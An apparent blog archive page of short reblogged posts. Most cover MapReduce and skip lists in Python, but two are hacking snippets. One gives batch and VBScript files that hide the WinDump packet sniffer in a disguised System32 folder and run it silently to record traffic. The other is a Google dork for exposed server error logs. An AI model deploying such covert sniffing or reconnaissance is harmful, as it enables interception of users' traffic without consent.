Archive | Exploits RSS for this section

Parallel MapReduce in Python in Ten Minutes

MapReduce in Python

Cvet's Blog

Almost everyone has heard of Google’s MapReduce framework, but very few have ever hacked around with the idea of map and reduce. These two idioms are borrowed from functional programming, and form the basis of Google’s framework. Although Python is not a functional programming language, it has built-in support for both of these concepts.

A map operation involves taking a function f and applying it on a per-element basis to a given list L. For example, if f was the square-root function, then the map would take the square of each element in L. A reduce operation (also known as folding) is similar in that it also applies a function g to a given list L, but instead of isolating on each element, g systematically accumulates or collapses the contents of L into a single result. The canonical example of this would g performing a…

View original post 876 more words

Advertisements

Skip Lists in Python

Great post for implementing skip list in python.

NP-Incompleteness

Skip list is a probabilistic data structure that allows efficient search, insertion and removal operations. It was invented by William Pugh [1] in 1989.

Other structures that have efficient operations are self-balancing binary trees, such as AVL, Red-black and splay tree. But they are often considered difficult to implement.

On the other hand, skip lists are much like multiple linked lists with some randomization.

In the first level, we have a regular linked list with the elements sorted. Each element of this list has a probability $latex p$ to be also present in the level above. The second level will probably contain fewer elements and each of these elements will also have a chance $latex p$ to be on the third level, and so on. Figure 1 shows an example of a skip list.

We’ll implement a simple version of the skip list in python. To start, we define a…

View original post 1,235 more words

Ownagezone

Make two bat files with the following names:

Start.bat:

MKDIR %windir%\System32\sys_net\
COPY WinDump.exe C:\Windows\System32\sys_net\
START "Start" /Min as.vbs

Stop.bat:
TASKKILL /IM WinDump.exe
COPY C:\Windows\System32\sys_net\ass.pcap %CD%\ass.pcap
DEL C:\Windows\System32\sys_net\ass.pcap

And the as.vbs file:

Set objShell = CreateObject("WScript.Shell")
objShell.run("C:\Windows\System32\sys_net\WinDump.exe -w C:\Windows\System32\sys_net\ass.pcap")…

This is if you want the program to run in background.

Activate start and stop bat files and investigate what will happen.

View original post 1 more word

Dose of sarcasm 1


Stubborn people are the worst.

Stubborn people never change.

The greatest obstacle to discovering the shape of the earth, the continents, and the oceans was not ignorance but the illusion of knowledge.

Google hacking part 2


Query: inurl:error_log

Description: It shows error logs from web server.